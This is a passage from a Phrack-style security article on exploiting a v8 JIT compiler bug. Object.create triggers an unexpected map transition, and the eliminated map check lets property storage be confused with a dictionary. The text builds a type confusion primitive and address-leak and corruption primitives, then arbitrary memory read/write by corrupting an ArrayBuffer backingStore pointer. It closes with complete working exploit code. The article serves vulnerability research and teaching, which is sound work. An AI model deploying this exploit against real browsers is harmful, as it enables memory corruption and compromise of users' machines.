|||
|
in v8, prototype Maps are never shared due to clever optimization tricks in
|
|||
|
other parts of the engine [19].
|
|||
|
|
|||
|
At this point it is time to construct a first proof-of-concept for the bug.
|
|||
|
The requirements to trigger an observable misbehavior in a compiled
|
|||
|
function are:
|
|||
|
|
|||
|
0. The function must receive an object that is not currently used as a
|
|||
|
prototype.
|
|||
|
|
|||
|
1. The function needs to perform a CheckMap operation so that
|
|||
|
subsequent ones can be eliminated.
|
|||
|
|
|||
|
2. The function needs to call Object.create with the object as argument
|
|||
|
to trigger the Map transition.
|
|||
|
|
|||
|
3. The function needs to access an out-of-line property. This will,
|
|||
|
after a CheckMap that will later be incorrectly eliminated, load the
|
|||
|
pointer to the property storage, then deference that believing that it
|
|||
|
is pointing to a PropertyArray even though it will point to a
|
|||
|
NameDictionary.
|
|||
|
|
|||
|
The following JavaScript code snippet accomplishes this
|
|||
|
|
|||
|
function hax(o) {
|
|||
|
// Force a CheckMaps node.
|
|||
|
o.a;
|
|||
|
|
|||
|
// Cause unexpected side-effects.
|
|||
|
Object.create(o);
|
|||
|
|
|||
|
// Trigger type-confusion because CheckMaps node is removed.
|
|||
|
return o.b;
|
|||
|
}
|
|||
|
|
|||
|
for (let i = 0; i < 100000; i++) {
|
|||
|
let o = {a: 42};
|
|||
|
o.b = 43; // will be stored out-of-line.
|
|||
|
hax(o);
|
|||
|
}
|
|||
|
|
|||
|
It will first be compiled to pseudo IR code similar to the following:
|
|||
|
|
|||
|
CheckHeapObject o
|
|||
|
CheckMap o, map1
|
|||
|
Load [o + 0x18]
|
|||
|
|
|||
|
// Changes the Map of o
|
|||
|
Call CreateObjectWithoutProperties, o
|
|||
|
|
|||
|
CheckMap o, map1
|
|||
|
r1 = Load [o + 0x8] // Load pointer to out-of-line properties
|
|||
|
r2 = Load [r1 + 0x10] // Load property value
|
|||
|
|
|||
|
Return r2
|
|||
|
|
|||
|
Afterwards, the redundancy elimination pass will incorrectly remove the
|
|||
|
second Map check, yielding:
|
|||
|
|
|||
|
CheckHeapObject o
|
|||
|
CheckMap o, map1
|
|||
|
Load [o + 0x18]
|
|||
|
|
|||
|
// Changes the Map of o
|
|||
|
Call CreateObjectWithoutProperties, o
|
|||
|
|
|||
|
r1 = Load [o + 0x8]
|
|||
|
r2 = Load [r1 + 0x10]
|
|||
|
|
|||
|
Return r2
|
|||
|
|
|||
|
When this JIT code is run for the first time, it will return a different
|
|||
|
value than 43, namely an internal fields of the NameDictionary which
|
|||
|
happens to be located at the same offset as the .b property in the
|
|||
|
PropertyArray.
|
|||
|
|
|||
|
Note that in this case, the JIT compiler tried to infer the type of the
|
|||
|
argument object at the second property load instead of relying on the type
|
|||
|
feedback and thus, assuming the map wouldn’t change after the first type
|
|||
|
check, produced a property load from a FixedArray instead of a
|
|||
|
NameDictionary.
|
|||
|
|
|||
|
|
|||
|
--[ 4 - Exploitation
|
|||
|
|
|||
|
The bug at hand allows the confusion of a PropertyArray with a
|
|||
|
NameDictionary. Interestingly, the NameDictionary still stores the property
|
|||
|
values inside a dynamically sized inline buffer of (name, value, flags)
|
|||
|
triples. As such, there likely exists a pair of properties P1 and P2 such
|
|||
|
that both P1 and P2 are located at offset O from the start of either the
|
|||
|
PropertyArray or the NameDictionary respectively. This is interesting for
|
|||
|
reasons explained in the next section. Shown next is the memory dump of the
|
|||
|
PropertyArray and NameDictionary for the same properties side by side:
|
|||
|
|
|||
|
let o = {inline: 42};
|
|||
|
o.p0 = 0; o.p1 = 1; o.p2 = 2; o.p3 = 3; o.p4 = 4;
|
|||
|
o.p5 = 5; o.p6 = 6; o.p7 = 7; o.p8 = 8; o.p9 = 9;
|
|||
|
|
|||
|
0x0000130c92483e89 0x0000130c92483bb1
|
|||
|
0x0000000c00000000 0x0000006500000000
|
|||
|
0x0000000000000000 0x0000000b00000000
|
|||
|
0x0000000100000000 0x0000000000000000
|
|||
|
0x0000000200000000 0x0000002000000000
|
|||
|
0x0000000300000000 0x0000000c00000000
|
|||
|
0x0000000400000000 0x0000000000000000
|
|||
|
0x0000000500000000 0x0000130ce98a4341
|
|||
|
0x0000000600000000 <-!-> 0x0000000200000000
|
|||
|
0x0000000700000000 0x000004c000000000
|
|||
|
0x0000000800000000 0x0000130c924826f1
|
|||
|
0x0000000900000000 0x0000130c924826f1
|
|||
|
... ...
|
|||
|
|
|||
|
In this case the properties p6 and p2 overlap after the conversion to
|
|||
|
dictionary mode. Unfortunately, the layout of the NameDictionary will be
|
|||
|
different in every execution of the engine due to some process-wide
|
|||
|
randomness being used in the hashing mechanism. It is thus necessary to
|
|||
|
first find such a matching pair of properties at runtime. The following
|
|||
|
code can be used for that purpose.
|
|||
|
|
|||
|
function find_matching_pair(o) {
|
|||
|
let a = o.inline;
|
|||
|
this.Object.create(o);
|
|||
|
let p0 = o.p0;
|
|||
|
let p1 = o.p1;
|
|||
|
...;
|
|||
|
return [p0, p1, ..., pN];
|
|||
|
let pN = o.pN;
|
|||
|
}
|
|||
|
|
|||
|
Afterwards, the returned array is searched for a match. In case the exploit
|
|||
|
gets unlucky and doesn't find a matching pair (because all properties are
|
|||
|
stored at the end of the NameDictionaries inline buffer by bad luck), it is
|
|||
|
able to detect that and can simply retry with a different number of
|
|||
|
properties or different property names.
|
|||
|
|
|||
|
----[ 4.1 - Constructing Type Confusions
|
|||
|
|
|||
|
There is an important bit about v8 that wasn't discussed yet. Besides the
|
|||
|
location of property values, Maps also store type information for
|
|||
|
properties. Consider the following piece of code:
|
|||
|
|
|||
|
let o = {}
|
|||
|
o.a = 1337;
|
|||
|
o.b = {x: 42};
|
|||
|
|
|||
|
After executing it in v8, the Map of o will indicate that the property .a
|
|||
|
will always be a Smi while property .b will be an Object with a certain Map
|
|||
|
that will in turn have a property .x of type Smi. In that case, compiling a
|
|||
|
function such as
|
|||
|
|
|||
|
function foo(o) {
|
|||
|
return o.b.x;
|
|||
|
}
|
|||
|
|
|||
|
will result in a single Map check for o but no further Map check for the .b
|
|||
|
property since it is known that .b will always be an Object with a specific
|
|||
|
Map. If the type information for a property is ever invalidated by
|
|||
|
assigning a property value of a different type, a new Map is allocated and
|
|||
|
the type information for that property is widened to include both the
|
|||
|
previous and the new type.
|
|||
|
|
|||
|
With that, it becomes possible to construct a powerful exploit primitive
|
|||
|
from the bug at hand: by finding a matching pair of properties JIT code can
|
|||
|
be compiled which assumes it will load property p1 of one type but in
|
|||
|
reality ends up loading property p2 of a different type. Due to the type
|
|||
|
information stored in the Map, the compiler will, however, omit type checks
|
|||
|
for the property value, thus yielding a kind of universal type confusion: a
|
|||
|
primitive that allows one to confuse an object of type X with an object of
|
|||
|
type Y where both X and Y, as well as the operation that will be performed
|
|||
|
on type X in the JIT code, can be arbitrarily chosen. This is,
|
|||
|
unsurprisingly, a very powerful primitive.
|
|||
|
|
|||
|
Below is the scaffold code for crafting such a type confusion primitive
|
|||
|
from the bug at hand. Here p1 and p2 are the property names of the two
|
|||
|
properties that overlap after the property storage is converted to
|
|||
|
dictionary mode. As they are not known in advance, the exploit relies on
|
|||
|
eval to generate the correct code at runtime.
|
|||
|
|
|||
|
eval(`
|
|||
|
function vuln(o) {
|
|||
|
// Force a CheckMaps node
|
|||
|
let a = o.inline;
|
|||
|
// Trigger unexpected transition of property storage
|
|||
|
this.Object.create(o);
|
|||
|
// Seemingly load .p1 but really load .p2
|
|||
|
let p = o.${p1};
|
|||
|
// Use p (known to be of type X but really is of type Y)
|
|||
|
// ...;
|
|||
|
}
|
|||
|
`);
|
|||
|
|
|||
|
let arg = makeObj();
|
|||
|
arg[p1] = objX;
|
|||
|
arg[p2] = objY;
|
|||
|
vuln(arg);
|
|||
|
|
|||
|
In the JIT compiled function, the compiler will then know that the local
|
|||
|
variable p will be of type X due to the Map of o and will thus omit type
|
|||
|
checks for it. However, due to the vulnerability, the runtime code will
|
|||
|
actually receive an object of type Y, causing a type confusion.
|
|||
|
|
|||
|
----[ 4.2 - Gaining Memory Read/Write
|
|||
|
|
|||
|
From here, additional exploit primitives will now be constructed: first a
|
|||
|
primitive to leak the addresses of JavaScript objects, second a primitive
|
|||
|
to overwrite arbitrary fields in an object. The address leak is possible by
|
|||
|
confusing the two objects in a compiled piece of code which fetches the .x
|
|||
|
property, an unboxed double, converts it to a v8 HeapNumber, and returns
|
|||
|
that to the caller. Due to the vulnerability, it will, however, actually
|
|||
|
load a pointer to an object and return that as a double.
|
|||
|
|
|||
|
function vuln(o) {
|
|||
|
let a = o.inline;
|
|||
|
this.Object.create(o);
|
|||
|
return o.${p1}.x1;
|
|||
|
}
|
|||
|
|
|||
|
let arg = makeObj();
|
|||
|
arg[p1] = {x: 13.37}; // X, inline property is an unboxed double
|
|||
|
arg[p2] = {y: obj}; // Y, inline property is a pointer
|
|||
|
vuln(arg);
|
|||
|
|
|||
|
This code will result in the address of obj being returned to the caller
|
|||
|
as a double, such as 1.9381218278403e-310.
|
|||
|
|
|||
|
Next, the corruption. As is often the case, the "write" primitive is just
|
|||
|
the inversion of the "read" primitive. In this case, it suffices to write
|
|||
|
to a property that is expected to be an unboxed double, such as shown next.
|
|||
|
|
|||
|
function vuln(o) {
|
|||
|
let a = o.inline;
|
|||
|
this.Object.create(o);
|
|||
|
let orig = o.${p1}.x2;
|
|||
|
o.${p1}.x = ${newValue};
|
|||
|
return orig;
|
|||
|
}
|
|||
|
|
|||
|
let arg = makeObj();
|
|||
|
arg[p1] = {x: 13.37};
|
|||
|
arg[p2] = {y: obj};
|
|||
|
vuln(arg);
|
|||
|
|
|||
|
This will "corrupt" property .y of the second object with a controlled
|
|||
|
double. However, to achieve something useful, the exploit would likely need
|
|||
|
to corrupt an internal field of an object, such as is done below for an
|
|||
|
ArrayBuffer. Note that the second primitive will read the old value of the
|
|||
|
property and return that to the caller. This makes it possible to:
|
|||
|
|
|||
|
* immediately detect once the vulnerable code ran for the first time
|
|||
|
and corrupted the victim object
|
|||
|
|
|||
|
* fully restore the corrupted object at a later point to guarantee
|
|||
|
clean process continuation.
|
|||
|
|
|||
|
With those primitives at hand, gaining arbitrary memory read/write becomes
|
|||
|
as easy as
|
|||
|
|
|||
|
0. Creating two ArrayBuffers, ab1 and ab2
|
|||
|
|
|||
|
1. Leaking the address of ab2
|
|||
|
|
|||
|
2. Corrupting the backingStore pointer of ab1 to point to ab2
|
|||
|
|
|||
|
Yielding the following situation:
|
|||
|
|
|||
|
+-----------------+ +-----------------+
|
|||
|
| ArrayBuffer 1 | +---->| ArrayBuffer 2 |
|
|||
|
| | | | |
|
|||
|
| map | | | map |
|
|||
|
| properties | | | properties |
|
|||
|
| elements | | | elements |
|
|||
|
| byteLength | | | byteLength |
|
|||
|
| backingStore --+-----+ | backingStore |
|
|||
|
| flags | | flags |
|
|||
|
+-----------------+ +-----------------+
|
|||
|
|
|||
|
Afterwards, arbitrary addresses can be accessed by overwriting the
|
|||
|
backingStore pointer of ab2 by writing into ab1 and subsequently reading
|
|||
|
from or writing to ab2.
|
|||
|
|
|||
|
----[ 4.3 - Reflections
|
|||
|
|
|||
|
As was demonstrated, by abusing the type inference system in v8, an
|
|||
|
initially limited type confusion primitive can be extended to achieve
|
|||
|
confusion of arbitrary objects in JIT code. This primitive is powerful for
|
|||
|
several reasons:
|
|||
|
|
|||
|
0. The fact that the user is able to create custom types, e.g. by
|
|||
|
adding properties to objects. This avoids the need to find a good type
|
|||
|
confusion candidate as one can likely just create it, such as was done
|
|||
|
by the presented exploit when it confused an ArrayBuffer with an object
|
|||
|
with inline properties to corrupt the backingStore pointer.
|
|||
|
|
|||
|
1. The fact that code can be JIT compiled that performs an arbitrary
|
|||
|
operation on an object of type X but at runtime receives an object of
|
|||
|
type Y due to the vulnerability. The presented exploit compiled loads
|
|||
|
and stores of unboxed double properties to achieve address leaks and
|
|||
|
the corruption of ArrayBuffers respectively.
|
|||
|
|
|||
|
2. The fact that type information is aggressively tracked by the
|
|||
|
engines, increasing the number of types that can be confused with each
|
|||
|
other.
|
|||
|
|
|||
|
As such, it can be desirable to first construct the discussed primitive
|
|||
|
from lower-level primitives if these aren't sufficient to achieve reliable
|
|||
|
memory read/write. It is likely that most type check elimination bugs can
|
|||
|
be turned into this primitive. Further, other types of vulnerabilities can
|
|||
|
potentially be exploited to yield it as well. Possible examples include
|
|||
|
register allocation bugs, use-after-frees, or out-of-bounds reads or
|
|||
|
writes into the property buffers of JavaScript objects.
|
|||
|
|
|||
|
----[ 4.4 Gaining Code Execution
|
|||
|
|
|||
|
While previously an attacker could simply write shellcode into the JIT region
|
|||
|
and execute it, things have become slightly more time consuming: in early 2018,
|
|||
|
v8 introduced a feature called write-protect-code-memory [20] which essentially
|
|||
|
flips the JIT region's access permissions between R-X and RW-. With that, the
|
|||
|
JIT region will be mapped as R-X during execution of JavaScript code, thus
|
|||
|
preventing an attacker from directly writing into it. As such, one now needs
|
|||
|
to find another way to code execution, such as simply performing ROP by
|
|||
|
overwriting vtables, JIT function pointers, the stack, or through another
|
|||
|
method of one's choosing. This is left as an exercise for the reader.
|
|||
|
|
|||
|
Afterwards, the only thing left to do is to run a sandbox escape... ;)
|
|||
|
|
|||
|
|
|||
|
--[ 5 - References
|
|||
|
|
|||
|
[1] https://blogs.securiteam.com/index.php/archives/3783
|
|||
|
[2] https://cs.chromium.org/
|
|||
|
[3] https://v8.dev/
|
|||
|
[4] https://www.ecma-international.org/ecma-262/8.0/
|
|||
|
index.html#sec-array-exotic-objects
|
|||
|
[5] https://www.ecma-international.org/ecma-262/8.0/
|
|||
|
index.html#sec-addition-operator-plus
|
|||
|
[6] https://chromium.googlesource.com/v8/v8.git/+/6.9.427.19/
|
|||
|
tools/turbolizer/
|
|||
|
[7] https://v8.dev/docs/ignition
|
|||
|
[8] https://www.mgaudet.ca/technical/2018/6/5/
|
|||
|
an-inline-cache-isnt-just-a-cache
|
|||
|
[9] https://mathiasbynens.be/notes/shapes-ics
|
|||
|
[10] https://bugs.chromium.org/p/project-zero/issues/detail?id=1380
|
|||
|
[11] https://github.com/WebKit/webkit/commit/
|
|||
|
61dbb71d92f6a9e5a72c5f784eb5ed11495b3ff7
|
|||
|
[12] https://bugzilla.mozilla.org/show_bug.cgi?id=1145255
|
|||
|
[13] https://www.thezdi.com/blog/2017/8/24/
|
|||
|
deconstructing-a-winning-webkit-pwn2own-entry
|
|||
|
[14] https://bugs.chromium.org/p/chromium/issues/detail?id=762874
|
|||
|
[15] https://bugs.chromium.org/p/project-zero/issues/detail?id=1390
|
|||
|
[17] https://bugs.chromium.org/p/project-zero/issues/detail?id=1396
|
|||
|
[16] https://cloudblogs.microsoft.com/microsoftsecure/2017/10/18/
|
|||
|
browser-security-beyond-sandboxing/
|
|||
|
[18] https://www.mozilla.org/en-US/security/advisories/
|
|||
|
mfsa2018-24/#CVE-2018-12386
|
|||
|
[19] https://mathiasbynens.be/notes/prototypes
|
|||
|
[20] https://github.com/v8/v8/commit/
|
|||
|
14917b6531596d33590edb109ec14f6ca9b95536
|
|||
|
|
|||
|
|
|||
|
--[ 6 - Exploit Code
|
|||
|
|
|||
|
if (typeof(window) !== 'undefined') {
|
|||
|
print = function(msg) {
|
|||
|
console.log(msg);
|
|||
|
document.body.textContent += msg + "\r\n";
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
{
|
|||
|
// Conversion buffers.
|
|||
|
let floatView = new Float64Array(1);
|
|||
|
let uint64View = new BigUint64Array(floatView.buffer);
|
|||
|
let uint8View = new Uint8Array(floatView.buffer);
|
|||
|
|
|||
|
// Feature request: unboxed BigInt properties so these aren't needed =)
|
|||
|
Number.prototype.toBigInt = function toBigInt() {
|
|||
|
floatView[0] = this;
|
|||
|
return uint64View[0];
|
|||
|
};
|
|||
|
|
|||
|
BigInt.prototype.toNumber = function toNumber() {
|
|||
|
uint64View[0] = this;
|
|||
|
return floatView[0];
|
|||
|
};
|
|||
|
}
|
|||
|
|
|||
|
// Garbage collection is required to move objects to a stable position in
|
|||
|
// memory (OldSpace) before leaking their addresses.
|
|||
|
function gc() {
|
|||
|
for (let i = 0; i < 100; i++) {
|
|||
|
new ArrayBuffer(0x100000);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
const NUM_PROPERTIES = 32;
|
|||
|
const MAX_ITERATIONS = 100000;
|
|||
|
|
|||
|
function checkVuln() {
|
|||
|
function hax(o) {
|
|||
|
// Force a CheckMaps node before the property access. This must
|
|||
|
// load an inline property here so the out-of-line properties
|
|||
|
// pointer cannot be reused later.
|
|||
|
o.inline;
|
|||
|
|
|||
|
// Turbofan assumes that the JSCreateObject operation is
|
|||
|
// side-effect free (it has the kNoWrite property). However, if the
|
|||
|
// prototype object (o in this case) is not a constant, then
|
|||
|
// JSCreateObject will be lowered to a runtime call to
|
|||
|
// CreateObjectWithoutProperties. This in turn eventually calls
|
|||
|
// JSObject::OptimizeAsPrototype which will modify the prototype
|
|||
|
// object and assign it a new Map. In particular, it will
|
|||
|
// transition the OOL property storage to dictionary mode.
|
|||
|
Object.create(o);
|
|||
|
|
|||
|
// The CheckMaps node for this property access will be incorrectly
|
|||
|
// removed. The JIT code is now accessing a NameDictionary but
|
|||
|
// believes its loading from a FixedArray.
|
|||
|
return o.outOfLine;
|
|||
|
}
|
|||
|
|
|||
|
for (let i = 0; i < MAX_ITERATIONS; i++) {
|
|||
|
let o = {inline: 0x1337};
|
|||
|
o.outOfLine = 0x1338;
|
|||
|
let r = hax(o);
|
|||
|
if (r !== 0x1338) {
|
|||
|
return;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
throw "Not vulnerable"
|
|||
|
};
|
|||
|
|
|||
|
// Make an object with one inline and numerous out-of-line properties.
|
|||
|
function makeObj(propertyValues) {
|
|||
|
let o = {inline: 0x1337};
|
|||
|
for (let i = 0; i < NUM_PROPERTIES; i++) {
|
|||
|
Object.defineProperty(o, 'p' + i, {
|
|||
|
writable: true,
|
|||
|
value: propertyValues[i]
|
|||
|
});
|
|||
|
}
|
|||
|
return o;
|
|||
|
}
|
|||
|
|
|||
|
//
|
|||
|
// The 3 exploit primitives.
|
|||
|
//
|
|||
|
|
|||
|
// Find a pair (p1, p2) of properties such that p1 is stored at the same
|
|||
|
// offset in the FixedArray as p2 is in the NameDictionary.
|
|||
|
let p1, p2;
|
|||
|
function findOverlappingProperties() {
|
|||
|
let propertyNames = [];
|
|||
|
for (let i = 0; i < NUM_PROPERTIES; i++) {
|
|||
|
propertyNames[i] = 'p' + i;
|
|||
|
}
|
|||
|
eval(`
|
|||
|
function hax(o) {
|
|||
|
o.inline;
|
|||
|
this.Object.create(o);
|
|||
|
${propertyNames.map((p) => `let ${p} = o.${p};`).join('\n')}
|
|||
|
return [${propertyNames.join(', ')}];
|
|||
|
}
|
|||
|
`);
|
|||
|
|
|||
|
let propertyValues = [];
|
|||
|
for (let i = 1; i < NUM_PROPERTIES; i++) {
|
|||
|
// There are some unrelated, small-valued SMIs in the dictionary.
|
|||
|
// However they are all positive, so use negative SMIs. Don't use
|
|||
|
// -0 though, that would be represented as a double...
|
|||
|
propertyValues[i] = -i;
|
|||
|
}
|
|||
|
|
|||
|
for (let i = 0; i < MAX_ITERATIONS; i++) {
|
|||
|
let r = hax(makeObj(propertyValues));
|
|||
|
for (let i = 1; i < r.length; i++) {
|
|||
|
// Properties that overlap with themselves cannot be used.
|
|||
|
if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) {
|
|||
|
[p1, p2] = [i, -r[i]];
|
|||
|
return;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
throw "Failed to find overlapping properties";
|
|||
|
}
|
|||
|
|
|||
|
// Return the address of the given object as BigInt.
|
|||
|
function addrof(obj) {
|
|||
|
// Confuse an object with an unboxed double property with an object
|
|||
|
// with a pointer property.
|
|||
|
eval(`
|
|||
|
function hax(o) {
|
|||
|
o.inline;
|
|||
|
this.Object.create(o);
|
|||
|
return o.p${p1}.x1;
|
|||
|
}
|
|||
|
`);
|
|||
|
|
|||
|
let propertyValues = [];
|
|||
|
// Property p1 should have the same Map as the one used in
|
|||
|
// corrupt for simplicity.
|
|||
|
propertyValues[p1] = {x1: 13.37, x2: 13.38};
|
|||
|
propertyValues[p2] = {y1: obj};
|
|||
|
|
|||
|
for (let i = 0; i < MAX_ITERATIONS; i++) {
|
|||
|
let res = hax(makeObj(propertyValues));
|
|||
|
if (res !== 13.37) {
|
|||
|
// Adjust for the LSB being set due to pointer tagging.
|
|||
|
return res.toBigInt() - 1n;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
throw "Addrof failed";
|
|||
|
}
|
|||
|
|
|||
|
// Corrupt the backingStore pointer of an ArrayBuffer object and return the
|
|||
|
// original address so the ArrayBuffer can later be repaired.
|
|||
|
function corrupt(victim, newValue) {
|
|||
|
eval(`
|
|||
|
function hax(o) {
|
|||
|
o.inline;
|
|||
|
this.Object.create(o);
|
|||
|
let orig = o.p${p1}.x2;
|
|||
|
o.p${p1}.x2 = ${newValue.toNumber()};
|
|||
|
return orig;
|
|||
|
}
|
|||
|
`);
|
|||
|
|
|||
|
let propertyValues = [];
|
|||
|
// x2 overlaps with the backingStore pointer of the ArrayBuffer.
|
|||
|
let o = {x1: 13.37, x2: 13.38};
|
|||
|
propertyValues[p1] = o;
|
|||
|
propertyValues[p2] = victim;
|
|||
|
|
|||
|
for (let i = 0; i < MAX_ITERATIONS; i++) {
|
|||
|
o.x2 = 13.38;
|
|||
|
let r = hax(makeObj(propertyValues));
|
|||
|
if (r !== 13.38) {
|
|||
|
return r.toBigInt();
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
throw "CorruptArrayBuffer failed";
|
|||
|
}
|
|||
|
|
|||
|
function pwn() {
|
|||
|
//
|
|||
|
// Step 0: verify that the engine is vulnerable.
|
|||
|
//
|
|||
|
checkVuln();
|
|||
|
print("[+] v8 version is vulnerable");
|
|||
|
|
|||
|
//
|
|||
|
// Step 1. determine a pair of overlapping properties.
|
|||
|
//
|
|||
|
findOverlappingProperties();
|
|||
|
print(`[+] Properties p${p1} and p${p2} overlap`);
|
|||
|
|
|||
|
//
|
|||
|
// Step 2. leak the address of an ArrayBuffer.
|
|||
|
//
|
|||
|
let memViewBuf = new ArrayBuffer(1024);
|
|||
|
let driverBuf = new ArrayBuffer(1024);
|
|||
|
|
|||
|
// Move ArrayBuffer into old space before leaking its address.
|
|||
|
gc();
|
|||
|
|
|||
|
let memViewBufAddr = addrof(memViewBuf);
|
|||
|
print(`[+] ArrayBuffer @ 0x${memViewBufAddr.toString(16)}`);
|
|||
|
|
|||
|
//
|
|||
|
// Step 3. corrupt the backingStore pointer of another ArrayBuffer to
|
|||
|
// point to the first ArrayBuffer.
|
|||
|
//
|
|||
|
let origDriverBackingStorage = corrupt(driverBuf, memViewBufAddr);
|
|||
|
|
|||
|
let driver = new BigUint64Array(driverBuf);
|
|||
|
let origMemViewBackingStorage = driver[4];
|
|||
|
|
|||
|
//
|
|||
|
// Step 4. construct the memory read/write primitives.
|
|||
|
//
|
|||
|
let memory = {
|
|||
|
write(addr, bytes) {
|
|||
|
driver[4] = addr;
|
|||
|
let memview = new Uint8Array(memViewBuf);
|
|||
|
memview.set(bytes);
|
|||
|
},
|
|||
|
read(addr, len) {
|
|||
|
driver[4] = addr;
|
|||
|
let memview = new Uint8Array(memViewBuf);
|
|||
|
return memview.subarray(0, len);
|
|||
|
},
|
|||
|
read64(addr) {
|
|||
|
driver[4] = addr;
|
|||
|
let memview = new BigUint64Array(memViewBuf);
|
|||
|
return memview[0];
|
|||
|
},
|
|||
|
write64(addr, ptr) {
|
|||
|
driver[4] = addr;
|
|||
|
let memview = new BigUint64Array(memViewBuf);
|
|||
|
memview[0] = ptr;
|
|||
|
},
|
|||
|
addrof(obj) {
|
|||
|
memViewBuf.leakMe = obj;
|
|||
|
let props = this.read64(memViewBufAddr + 8n);
|
|||
|
return this.read64(props + 15n) - 1n;
|
|||
|
},
|
|||
|
fixup() {
|
|||
|
let driverBufAddr = this.addrof(driverBuf);
|
|||
|
this.write64(driverBufAddr + 32n, origDriverBackingStorage);
|
|||
|
this.write64(memViewBufAddr + 32n, origMemViewBackingStorage);
|
|||
|
},
|
|||
|
};
|
|||
|
|
|||
|
print("[+] Constructed memory read/write primitive");
|
|||
|
|
|||
|
// Read from and write to arbitrary addresses now :)
|
|||
|
memory.write64(0x41414141n, 0x42424242n);
|
|||
|
|
|||
|
// All done here, repair the corrupted objects.
|
|||
|
memory.fixup();
|
|||
|
|
|||
|
// Verify everything is stable.
|
|||
|
gc();
|
|||
|
}
|
|||
|
|
|||
|
if (typeof(window) === 'undefined')
|
|||
|
pwn();
|
|||
|
|
|||
|
--[ EOF
|